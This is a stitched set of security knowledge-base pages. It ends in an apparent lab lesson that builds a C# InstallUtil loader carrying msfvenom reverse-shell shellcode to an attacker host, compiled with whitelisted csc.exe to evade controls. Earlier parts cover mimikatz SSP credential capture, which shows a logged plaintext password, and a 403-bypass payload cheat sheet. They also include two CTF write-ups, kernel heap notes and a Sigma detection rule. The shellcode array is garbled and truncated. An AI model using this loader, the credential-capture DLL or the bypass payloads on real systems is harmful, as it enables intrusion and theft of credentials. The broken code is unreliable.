C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u\0mimilib
```
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。
```dos
type C:\Windows\system32\kiwissp.log
```
```test
C:\Users\Administrator>type C:\Windows\system32\kiwissp.log
[00000000:000003e7] [00000002] WORKGROUP\DC$ (DC$)
[00000000:00049cd0] [00000002] DC\Administrator (Administrator) admin.098
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)
```
## 测试留痕
建议在windows server 2008(含2008)以下版本安装部署sysmon,记录进程名称、进程命令行参数,方便溯源分析;
建议在windows server 2008以上版本操作系统中开启审核进程创建策略,记录进程名称、进程命令行参数,方便溯源分析。
```yml
#针对方法二留痕
EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
句柄 ID: 0x508
进程信息:
进程 ID: 0x748
进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知
EVentID: 4658 #已关闭到对象的句柄。
对象:
对象服务器: Security
句柄 ID: 0x508
进程信息:
进程 ID: 0xbd8
进程名: C:\Windows\System32\Oobe.exe
EVentID: 4688 #已创建新进程。在高版本系统中可记录命令行参数
进程信息:
新进程 ID: 0x5c8
新进程名: C:\Windows\System32\reg.exe
令牌提升类型: TokenElevationTypeDefault (1)
EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager
句柄 ID: 0x694
进程信息:
进程 ID: 0x864
进程名: C:\Windows\System32\Oobe.exe
访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
查询项值
枚举子项
对项的改动进行通知
```
## 检测规则/思路
### Sigma规则
```yml
title: 添加到LSA配置的安全支持提供程序(SSP)
status: 测试阶段
description: 检测向注册表添加SSP。在重新启动或API调用后,SSP DLL可以访问存储在Windows中的加密密码和明文密码。
references:
- https://attack.mitre.org/techniques/T1547/005/
- https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/
tags:
- attack.persistence
- attack.t1547
logsource:
product: windows
service: sysmon
detection:
selection_registry:
EventID: 13 #创建注册表值 sysmon日志
TargetObject:
- 'HKLM\System\CurrentControlSet\Control\Lsa\Security Packages'
- 'HKLM\System\CurrentControlSet\Control\Lsa\OSConfig\Security Packages'
exclusion_images:
- Image: C:\Windows\system32\msiexec.exe
- Image: C:\Windows\syswow64\MsiExec.exe
condition: selection_registry and not exclusion_images
falsepositives:
- 不太可能
level: 关键
```
### 建议
监控注册表来查看SSP注册表项是否有更改。监控LSA进程来查看是否有动态链接库加载的情况。Windows 8.1和Windows Server 2012 R2中,在注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\LSASS.exe中设置AuditLevelß=8来加载未签名的SSP动态链接库到LSA时会生成事件。
## 安全防御措施
1.检查注册表
hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。
2.检测%windir%\System32是否有可疑dll
3.使用第三方工具 Autoruns 检测LSA中是否存在可疑dll。
Autoruns下载:<https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns>
## 参考推荐
MITRE-ATT&CK-T1547-005
<https://attack.mitre.org/techniques/T1547/005/>
AD域SSP权限维持与安全防护
<https://xz.aliyun.com/t/7432>
|
sec-knowleage
|
# 绕过访问
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关文章**
- [Tips : Bypass Etag If-None-Match](https://anggigunawan17.medium.com/tips-bypass-etag-if-none-match-e1f0e650a521)
- [记一次403绕过技巧](https://mp.weixin.qq.com/s/_hcVp9u7OIHnYW1l7lQiCQ)
**相关案例**
- [Bypassing 403 Protection To Get Pagespeed Admin Access](https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3)
- [How 403 Forbidden Bypass got me NOKIA Hall Of Fame (HOF)](https://infosecwriteups.com/how-403-forbidden-bypass-got-me-nokia-hall-of-fame-hof-8acbd2c1c2c8)
**相关工具**
- [iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) - 一个用来绕过403报错的简单脚本
- [Dheerajmadhukar/4-ZERO-3](https://github.com/Dheerajmadhukar/4-ZERO-3) - 403/401 Bypass Methods + Bash Automation
- [devploit/dontgo403](https://github.com/devploit/dontgo403) - Tool to bypass 40X response codes.
- [ffffffff0x/403-fuzz](https://github.com/ffffffff0x/403-fuzz) - 针对 403 页面的 fuzz 脚本
- [sting8k/BurpSuite_403Bypasser](https://github.com/sting8k/BurpSuite_403Bypasser) - Burpsuite Extension to bypass 403 restricted directory
- [lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) - Pyhton script for HTTP 40X responses bypassing. Features: Verb tampering, headers, #bugbountytips tricks and 2454 User-Agents.
- [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden) - Bypass 4xx HTTP response status codes and more. Based on PycURL.
**相关资源**
- [GrrrDog/weird_proxies](https://github.com/GrrrDog/weird_proxies) - Reverse proxies cheatsheet
- [CHYbeta/OddProxyDemo](https://github.com/CHYbeta/OddProxyDemo)
**Tips**
- protocol based bypass
```bash
http://web.com/admin # ===> 403
https://web.com/admin # ===> 200
```
- method based bypass
```bash
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
TRACK
CONNECT
PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK
VERSION-CONTROL
REPORT
CHECKOUT
CHECKIN
UNCHECKOUT
MKWORKSPACE
UPDATE
LABEL
MERGE
BASELINE-CONTROL
MKACTIVITY
ORDERPATCH
ACL
PATCH
SEARCH
ARBITRARY
```
- HTTP Header based bypass
```bash
GET /admin HTTP/1.1
Host: web.com # ===> 403
GET /anything HTTP/1.1
Host: web.com
X-Original-URL: /admin # ===> 200
GET /anything HTTP/1.1
Host: web.com
Referer: https://web.com/admin # ===> 200
GET https://qq.com HTTP/1.1
Host: web.com # ===> SSRF
```
- url character/parameter bypass
```bash
/admin/panel # ===> 403
/admin/monitor # ===> 200
/admin/monitor/;panel # ===> 302
```
```bash
web.com/admin # ===> 403
web.com/ADMIN # ===> 200
web.com/admin/ # ===> 200
web.com//admin/ # ===> 200
web.com/admin; # ===> 200
web.com/admin/. # ===> 200
web.com/admin/../admin # ===> 200
web.com/admin../admin # ===> 200
web.com/../admin # ===> 200
web.com//admin// # ===> 200
web.com/./admin/./ # ===> 200
web.com/./admin/.. # ===> 200
web.com/;/admin # ===> 200
web.com/.;/admin # ===> 200
web.com//;//admin # ===> 200
web.com/admin.json # ===> 200(ruby)
web.com/%2f/admin/ # ===> 200
web.com/%2e/admin # ===> 200
web.com/%252e/admin # ===> 200
web.com/%ef%bc%8fadmin # ===> 200
web.com/admin # ===> 302
web.com/test/admin # ===> 200
web.com/admin..;/ # ===> 200
```
- 304 bypass
```bash
GET /admin HTTP/1.1
Host: target.com
If-None-Match: W/"123-dASdsa2d2212e4d21"
GET /admin HTTP/1.1
Host: target.com
```
```
If-None-Match: W/"123-dASdsa2d2212e4d21"
If-None-Match: W/"null"
If-None-Match: W/"123-dASdsa2d2212e4d21" a
```
---
## nginx
**相关文章**
- [Common Nginx Misconfiguration leads to Path Traversal](https://systemweakness.com/common-nginx-misconfiguration-leads-to-path-traversal-d58701e997bc) - 当 nginx 配置不当时,可使用类似 `/test../private/secret.html` 进行目录穿越
- [案例|轻松绕过你的Nginx(上篇)](https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g)
- [终极案例|轻松绕过你的Nginx(下篇)](https://mp.weixin.qq.com/s/34QZSq90Nj5xKjG1yTGvZw)
```
root /var/www/html/public;
location /test/ {
alias /var/www/html/public/;
}
✔ /test/public.html
❌ /test../private/secret.html
```
```
root /var/www/html/public;
location /test {
alias /var/www/html/public/;
}
✔ /test/public.html
✔ /test../private/secret.html
```
---
## Tomcat
**相关文章**
- [CVE-2020-5902——关于;号绕过认证技巧总结](https://mp.weixin.qq.com/s/JnI4f3R5JZqhLFv_fTQ_0A)
- [tomcat对url请求中的特殊字符处理 分析](https://blog.csdn.net/qq_41891666/article/details/110392483)
---
## shiro
**SHIRO-682 & CVE-2020-1957 | Shiro 权限绕过漏洞**
- 相关文章
- [Shiro 权限绕过漏洞分析(CVE-2020-1957)](https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/)
**SHIRO-782 & CVE-2020-11989**
- 相关文章
- [Apache Shiro权限绕过漏洞分析(CVE-2020-11989)](https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA)
- [Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)](https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/)'
- [CVE-2020-11989:Apache Shiro权限绕过复现](https://mp.weixin.qq.com/s/p1UzULYPoTKf6i_Chcj2VQ)
- [记一次Apache Shiro权限绕过实战](http://www.0dayhack.net/index.php/554/)
- [记一次前台任意文件下载漏洞挖掘](https://xz.aliyun.com/t/10328)
**CVE-2020-17523**
- 相关文章
- [Apache Shiro身份认证绕过漏洞复现(CVE-2020-17523)](https://mp.weixin.qq.com/s/PHBG3wQUIPSrlmX_jsSXbA)
- [jweny/shiro-cve-2020-17523](https://github.com/jweny/shiro-cve-2020-17523)
|
sec-knowleage
|
# Buckets
Web, 362 points
## Description:
> Checkout my s3 bucket website!
>
> http://tamuctf.s3-website-us-west-2.amazonaws.com/
## Solution:
The website itself didn't contain much:
```console
root@kali:/media/sf_CTFs/tamu/Buckets# curl http://tamuctf.s3-website-us-west-2.amazonaws.com/
<!DOCTYPE html>
<!--http://ctfdevbucket.s3-website.us-east-2.amazonaws.com/-->
<html>
<head>
<!--Wow my first AWS web page!
I think I am finally figuring out S3 buckets,
it is just really so easy to use!
If you forget for your passwords it is near the Dogs..-->
<style>
#DIV {
background-color: white;
color: black;
text-align: center;
}
</style>
<title>AWS Problem</title>
</head>
<body style="background-image:url(doggos3.jpg)">
<div id="DIV">
<h1>Dogs are definitely better than cats</h1>
</div>
<!--If you look around hard enough you might find some dogs, some cats, some animals and some mysteries-->
</body>
</html>
```
We have three comments that look like hints:
> http://ctfdevbucket.s3-website.us-east-2.amazonaws.com/
> If you forget for your passwords it is near the Dogs..
> If you look around hard enough you might find some dogs, some cats, some animals and some mysteries
The first comment didn't lead anywhere:
```console
root@kali:/media/sf_CTFs/tamu/Buckets# curl http://ctfdevbucket.s3-website.us-east-2.amazonaws.com/
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<ul>
<li>Code: NoSuchBucket</li>
<li>Message: The specified bucket does not exist</li>
<li>BucketName: ctfdevbucket</li>
<li>RequestId: AF31018CB45DEACA</li>
<li>HostId: RzK7lXpl68GMX9TIGayRyS+UYRS5wV/zVxFQSYVyfJ+8iA8wEG/MVKFlHo6yhMF6r4/haS6C64Y=</li>
</ul>
<hr/>
</body>
</html>
```
From a quick search it turned out that there's a list of common mistakes related to S3 bucket configuration, and having the bucket's listing access permission set to "Everyone" is one of the most basic mistakes.
In order to attempt and read the bucket's listing, all we need to do is translate the address from `http://name.s3-website-us-west-2.amazonaws.com/` to `http://name.s3.amazonaws.com/`.
```console
root@kali:/media/sf_CTFs/tamu/Buckets# curl http://tamuctf.s3.amazonaws.com/
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>tamuctf</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>Animals/animals.jpg</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"e2d52ec7d9b6b49967e059c9a828db4d"</ETag><Size>63121</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Animals/cute-zoo-animals_1191-143.jpg</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"7d28d0fc1ba83b0600e67dc3590a0bce"</ETag><Size>44982</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Animals/images.jpeg</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"3c61edb2ff6cd31ee8700f68a5a9a7d8"</ETag><Size>12107</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Cats/cat.jpeg</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"ff3756cce9ef479620ae2053f9da0555"</ETag><Size>6828</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Cats/cat.webp</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"78a653a6531843132475d5bbfbbb7bdb"</ETag><Size>22810</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Cats/cat3.jpeg</Key><LastModified>2019-02-19T17:06:50.000Z</LastModified><ETag>"40201e7d71c0fbc00f25c98b93d4a564"</ETag><Size>6407</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt</Key><LastModified>2019-02-19T17:06:51.000Z</LastModified><ETag>"0a2a337eda703cf59b4bc491dbc73621"</ETag><Size>28</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/beaglepup.jpeg</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"e09ad7406d6cf80ad6eceac51a1c28a6"</ETag><Size>8120</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/pup.html</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"fb7fcf173bb53130398a003678c3c36e"</ETag><Size>919</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/puphalloween.jpeg</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"fa2fd3d520ed31507338f4b8ab92bbcc"</ETag><Size>6305</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/pupnerd.jpeg</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"73071d66448d7308e1de23381532d945"</ETag><Size>7666</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/pupnerd2.webp</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"22d5ad1078d33279ebded659eebee1d2"</ETag><Size>17666</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>Dogs/pups.jpg</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"533bf1604309fd9b3727fc2163e7e16b"</ETag><Size>165653</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>doggos3.jpg</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"0e617b1f12ae2de23757305a4a4cf2b0"</ETag><Size>124222</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>index.html</Key><LastModified>2019-02-19T17:06:49.000Z</LastModified><ETag>"cd654a6ed564b4546a886d13ecad17af"</ETag><Size>632</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>
```
Like the hint said, the password is near the dogs:
```console
root@kali:/media/sf_CTFs/tamu/Buckets# curl http://tamuctf.s3-website-us-west-2.amazonaws.com/Dogs/CC2B70BD238F48BE29D8F0D42B170127/CBD2DD691D3DB1EBF96B283BDC8FD9A1/flag.txt
flag{W0W_S3_BAD_PERMISSIONS}
```
|
sec-knowleage
|
# Finding Ducky - Part 4
Category: Cryptography, 100 points
## Description
> Okay so we found a cipher, but what is it? and what twitter has to do with it ?
## Solution
In the [previous challenge](Finding_Ducky_-_Part_3.md) we got the following text:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/Finding_Ducky_-_Part_3]
└─$ cat cipher.txt
Look at my twitter, the flag is cstechnion{the_new_logo_is_great_right}
84 366 446 496 402 66 111 340 280 243 131 157 429 263 181 273 143 407 470 356 125 176 333 467 343 161 188 115 306 179 419 466 253 156 278 316 72 317 485 348 320
```
If we check Ducky's twitter, we see that a mysterious tweet:
```
Aekv5OXXuaSa8KK09ZlLorK;JfKSygNa7DvP34WzRmcy0xuA;nkChdfWjy81HzgDuI/ewZ9LaqWMKFaVBVoZhBi6DuZFxih6QH.tstHN0Eb:joz/tIntJXyogXp2/cvr9MSoYL8nv9lRkFp5aOV1GWo1j3LZoai45sl:nzrqDT32vi;1t23cB2;CX0QS.ebHv;kw.B.T5Zw0qbro.2GT6DeazvBt1ZUuQ5V7LJeCVbjrPadeE;:hxuj3;JQ92i9ZYCq1Xfr4QvKAGdckL1;nhNnXcUkV3mERXjYT4TR7H,rUldD/iqe6xUFbs9A4.c06l,E2Zoon7hFtWf1s:KYaeh1cbW7wi2uOcStW.wEeqJi1c7tK2xC57n87EQNrk4XQ/CHg4m,:n7nB8UdK3Z:pDu32WTIkm8Iv6FFhFjeCJ7,qdi1AcqC,Hb0KNjTb48tX/Y7L,E8C6d13.;pywLn.8V1RKzIobWy9:acRx.yMIw6fjKFMpdrP
```
This might look like a hash but none of [hashcat's example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) seem to match, and what should we do with the list of numbers anyway?
What if we use them as indices to the text?
```python
>>> text = "Aekv5OXXuaSa8KK09ZlLorK;JfKSygNa7DvP34WzRmcy0xuA;nkChdfWjy81HzgDuI/ewZ9LaqWMKFaVBVoZhBi6DuZFxih6QH.tstHN0Eb:joz/tIntJXyogXp2/cvr9MSoYL8nv9lRkFp5aOV1GWo1j3LZoai45sl:nzrqDT32vi;1t23cB2;CX0QS.ebHv;kw.B.T5Zw0qbro.2GT6DeazvBt1ZUuQ5V7LJeCVbjrPadeE;:hxuj3;JQ92i9ZYCq1Xfr4QvKAGdckL1;nhNnXcUkV3mERXjYT4TR7H,rUldD/iqe6xUFbs9A4.c06l,E2Zoon7hFtWf1s:KYaeh1cbW7wi2uOcStW.wEeqJi1c7tK2xC57n87EQNrk4XQ/CHg4m,:n7nB8UdK3Z:pDu32WTIkm8Iv6FFhFjeCJ7,qdi1AcqC,Hb0KNjTb48tX/Y7L,E8C6d13.;pywLn.8V1RKzIobWy9:acRx.yMIw6fjKFMpdrP"
>>> for x in "84 366 446 496 402 66 111 340 280 243 131 157 429 263 181 273 143 407 470 356 125 176 333 467 343 161 188 115 306 179 419 466 253 156 278 316 72 317 485 348 320".split():
... print(text[int(x)], end="")
...
http://echoai421521.ctf.cs.technion.ac.il>>>
```
We visit the URL to get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/Finding_Ducky_-_Part_4]
└─$ curl http://echoai421521.ctf.cs.technion.ac.il
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Echo AI</title>
</head>
<body style="background-color:#040720;">
<div align="center">
<h1 style="color:#e5e5e5;">cstechnion{an_ai_duck,_now_i've_seen_everything}
</h1>
<video width="960" height="600" controls autoplay>
<source src="ducky.mp4" type="video/mp4">
</video>
</div>
</body>
</html>
```
|
sec-knowleage
|
### 内核堆概述
类似于用户态进程中的堆(heap),内核也有着自己的一套动态内存管理机制,为了方便这里我们同样将内核中动态分配的内存称为“堆”。
Linux kernel 将内存分为 `页→区→节点` 三级结构,主要有两个内存管理器—— `buddy system` 与 `slab allocator`,前者负责以内存页为粒度管理所有可用的物理内存,后者则向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
### 页→区→节点三级结构介绍
这是一张十分经典的 _Overview_ ,自顶向下是
- **节点**(node,对应结构体 pgdata\_list)
- **区**(zone,对应结构体 zone,图上展示了三种类型的 zone)
- **页**(page,对应结构体 page)
#### 页(page)
Linux kernel 中使用 `page` 结构体来表示一个物理页框,**每个物理页框都有着一个对应的 page 结构体**
#### 区(zone)
在 Linux 下将一个节点内不同用途的内存区域划分为不同的 `区(zone)`,对应结构体 `struct zone`
#### 节点(node)
zone 再向上一层便是**节点**——Linux 将_内存控制器(memory controller)_作为节点划分的依据,对于 UMA 架构而言只有一个节点,而对于 NUMA 架构而言通常有多个节点,对于同一个内存控制器下的 CPU 而言其对应的节点称之为_本地内存_,不同处理器之间通过总线进行进一步的连接。
### buddy system概述
buddy system 是 Linux kernel 中的一个较为底层的内存管理系统,**以内存页为粒度管理者所有的物理内存**,其存在于 **区** 这一级别,对当前区所对应拥有的所有物理页框进行管理.
在每个 zone 结构体中都有一个 free\_area 结构体数组,用以存储 buddy system **按照 order 管理的页面**:
```c
struct zone {
//...
struct free_area free_area[MAX_ORDER];
//...
```
其中的 `MAX_ORDER` 为一个常量,值为 11.
在 buddy system 中按照空闲页面的连续大小进行分阶管理,这里的 order 的实际含义为**连续的空闲页面的大小**,不过单位不是页面数,而是`阶`,即对于每个下标而言,其中所存储的页面大小为:
$$
2^{order}
$$
在 free\_area 中存放的页面通过自身的相应字段连接成双向链表结构
- 分配:
- 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
- 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
- 释放:
- 将对应的连续内存页释放到对应的链表上。
- 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
### slab allocator概述
slab allocator 则是更为细粒度的内存管理器,其通过向 buddy system 请求单张或多张连续内存页后再分割成同等大小的**对象**(object)返还给上层调用者来实现更为细粒度的内存管理。
slab allocator 一共有三种版本:
- slab(最初的版本,机制比较复杂,效率不高)
- slob(用于嵌入式等场景的极为简化版本)
- slub(优化后的版本,**现在的通用版本**)
### slab allocator基本结构
`slub` 版本的 allocator 为现在绝大多数 Linux kernel 所装配的版本,因此本篇文章主要叙述的也是 slub allocator
我们将 slub allocator 每次向 buddy system 请求得来的单张/多张内存页称之为一个 `slub`,其被分割为多个同等大小对象(object),每个 object 作为一个被分配实体,在 slub 的第一张内存页对应的 page 结构体上的 freelist 成员指向该张内存页上的第一个空闲对象,一个 slub 上的所有空闲对象组成一个以 NULL 结尾的单向链表。
> 一个 object 可以理解为用户态 glibc 中的 chunk,不过 object 并不像 chunk 那样需要有一个 header,因为 page 结构体与物理内存间存在线性对应关系,我们可以直接通过 object 地址找到其对应的 page 结构体。
`kmem_cache` 为一个基本的 allocator 组件,其用于分配某个特定大小(某种特定用途)的对象,所有的 kmem\_cache 构成一个双向链表,并存在两个对应的结构体数组 `kmalloc_caches` 与 `kmalloc_dma_caches`。
一个 `kmem_cache` 主要由两个模块组成:
- `kmem_cache_cpu`:这是一个**percpu 变量**(即每个核心上都独立保留有一个副本,原理是以 gs 寄存器作为 percpu 段的基址进行寻址),用以表示当前核心正在使用的 slub,因此当前 CPU 在从 kmem\_cache\_cpu 上取 object 时**不需要加锁**,从而极大地提高了性能
- `kmem_cache_node`:可以理解为当前 `kmem_cache` 的 slub 集散中心,其中存放着两个 slub 链表:
- partial:该 slub 上存在着一定数量的空闲 object,但并非全部空闲。
- full:该 slub 上的所有 object 都被分配出去了。
### slab allocator分配/释放过程
那么现在我们可以来说明 slub allocator 的分配/释放行为了:
- 分配:
- 首先从 `kmem_cache_cpu` 上取对象,若有则直接返回。
- 若 `kmem_cache_cpu` 上的 slub 已经无空闲对象了,对应 slub 会被从 `kmem_cache_cpu` 上取下,并尝试从 **partial** 链表上取一个 slub 挂载到 `kmem_cache_cpu` 上,然后再取出空闲对象返回。
- 若 `kmem_cache_node` 的 partial 链表也空了,那就**向 buddy system 请求分配新的内存页**,划分为多个 object 之后再给到 `kmem_cache_cpu`,取空闲对象返回上层调用。
- 释放:
- 若被释放 object 属于 `kmem_cache_cpu` 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
- 若被释放 object 属于 `kmem_cache_node` 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
- 若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,**且该 slub 会被放置到 partial 链表**。
以上便是 slub allocator 的基本原理。
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,身体特别重要。
### Csc.exe简介:
C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放
test.cs文件的目录中,输入下列行命令:`csc /target:exe test.cs` 将Ttest.cs 编译成名为 test.exe 的 console 应用程序
**说明:** Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。
### 基于白名单Csc.exe配置payload:
Windows 7 默认位置:
```bash
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
```
**攻击机:**192.168.1.4 Debian
**靶机:**192.168.1.5 Windows 7
### 配置攻击机msf:

### 配置payload:
```bash
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp
```

copy buf 到 Micropoor_Csc.cs shellcode 中。

### 靶机执行:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
```
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe
```

**与第七十二课相比,payload更为灵活。**
### 附录:Micropoor_Csc.cs
```csharp
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
// msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
byte[] shellcode = new byte[510] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
